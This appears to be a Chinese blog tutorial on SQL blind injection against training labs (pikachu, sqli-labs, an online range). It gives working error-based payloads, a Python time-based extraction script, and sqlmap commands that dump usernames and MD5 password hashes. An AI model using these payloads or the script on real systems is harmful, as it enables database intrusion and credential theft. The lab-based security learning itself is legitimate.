admin管理员组

文章数量:1794759

SQL盲注之python脚本爆破及sqlmap基础操作

SQL盲注之python脚本爆破及sqlmap基础操作

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录
  • 前言
  • 一、SQL盲注是什么?
  • 二、介绍与使用
    • 1.盲注的三种分类
    • 2.基于报错的盲注
    • 3.基于时间的脚本化盲注
  • sqlmap的使用


前言

        哈,我是爱挖洞的萝卜头,从今天开始来csdn分享学习过过程,学习经历,望各位大佬指教指教,嘿嘿嘿。

一、SQL盲注是什么?

        经历过前面的数字型注入,字符型注入,提交方式注入等,我们对sql注入有了基本的认识,然而在大部分情况下,注入语句是无回显的,无法从浏览器上看到数据库的相关信,这个时候我们就需要用到相关的报错或盲注进行后续操作。同时为手工注入时,提前预知或了解其SQL语句的大概写法。所谓盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试。

二、介绍与使用 1.1.盲注的三种分类

        盲注大致可以分为下面三类:

                1.bool型:

                        即真假逻辑判断,常见使用sql函数:

                        like 'ro%'     #判断ro或ro.. .是否成立                         regexp '^xiaodi[a-z]'   #匹配xiaodi及xiaodi...等                         if(条件,5,0)    #条件成立返回5反之返回0                         sleep(5)     #sQI语句延时执行5秒                         mid(a,b,c)     #从位置b开始,截取a字符串的c位                         substr(a,b,c)    #从b位置开始,截取字符串a的c长度                         left(database(),1),database() #left(a,b)从左侧截取a的前b位                         length(database())=8   #判断数据库database ()名的长度                         ord=ascii ascii(x)=97   #判断x的asci i码是否等于97

                2.报错的盲注:

                        floor,updatexml,extractvalue                 3.时间的盲注:

                        sleep

        这篇文章主要讲一下手工的报错盲注和,脚本化的时间盲注,当然最后会给大家介绍sql注入神器sqlmap,这里指在搞清楚注入原理。

                        

2.基于报错的盲注

        OK,讲到报错盲注这里我们需要借助一些工具和一些漏洞测试平台。我们开启我们的漏洞测试平台pikachu,再打开的burp抓包工具。(相信浏览器与burp的代理大家都会操作)

         

               运用我们上面介绍的updatexml函数,具体写法:     

username=wjlbt' or updatexml(1,concat(0x7e,(database())),0) or '&password=123456&sex=man&phonenum=123456&email=123456&add=123456&submit=submit

         

 

         database()即获取当前数据库名,database()可以替换成任意SQL语句,以此来爆破表名,列名和相关数据。如果不知道怎么接着写,可以先去学一点数据库的知识

        而其他的extracvalue也是一样的操作方法

' or extractvalue(1,concat(0x7e,database())) or '

        floor有点不同

' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '

 

        至于为什么要在前后加上引号,我们来看源码的SQL语句输入 

        

         这其实就是用引号来闭合语句,实际操作中可能是 '、''、')、'')等等,多试几次就可以了

    3.基于时间的脚本化盲注   

                其实写这篇文章就是为了展示这段脚本代码,写着写着就加了不少东西进去了

这是在SQLis漏洞平台的less-5中,参考了是阿明啊的SQLis通关。

 OK,上代码:

# coding:utf-8 import requests import datetime import time def database_name(): name = '' for j in range(1,40):#这个写大一点没事 for i in '0123456789abcdefghijklmnopqrstuvwxyz,_D': url = "192.168.101.1/sqli-labs-master/Less-5/" # 根据网站响应速度选择时间 payload = "?id=1' and sleep(if(substr(database(),%d,1)='%s',2,0)) --+" % (j,i) # 爆表 # payload="?id=1' and sleep(if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s',2,0)) --+" % (j,i) # 暴列 # payload = "?id=1' and sleep(if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),%d,1)='%s',2,0)) --+" % (j, i) time1 = datetime.datetime.now() r = requests.get(url + payload) time2 = datetime.datetime.now() sec = (time2 - time1).seconds if sec >=2: name += i print(name) break print('database_name:', name) if __name__ == '__main__': database_name()

 显示数据库名:

爆表 

 

后面暴列和数据差不多

sqlmap的使用:

        这里我们使用墨者学院的在线靶场做实验

 

 

 

 sqlmap下载安装完成后:

执行python sqlmap.py -u URL --dbs       即获取注入点所有数据库

python sqlmap.py -u "124.70.64.48:46228/new_list.php?id=tingjigonggao" --dbs

  python sqlmap.py -u URL  -D"(获取的数据库名)" --tables     获取当前数据库下所有表

python sqlmap.py -u "124.70.64.48:46228/new_list.php?id=tingjigonggao" -D"mozhe_discuz_stormgroup"  --tables

  python sqlmap.py -u URL  -D"(获取的数据库名)" -T"(获取的表名)" --columns      获取列名

python sqlmap.py -u "124.70.64.48:46228/new_list.php?id=tingjigonggao" -D"mozhe_discuz_stormgroup" -T"stormgroup_member" --columns

 python sqlmap.py -u URL  -D"(获取的数据库名)" -T"(获取的表名)" -C"(获取的列名)" --dump      打印数据

python sqlmap.py -u "124.70.64.48:46228/new_list.php?id=tingjigonggao" -D"mozhe_discuz_stormgroup" -T"stormgroup_member" -C"name,password" --dump

 密码经过MD5加密,网上搜一下解密就OK啦

本文标签: 脚本操作基础SQLPython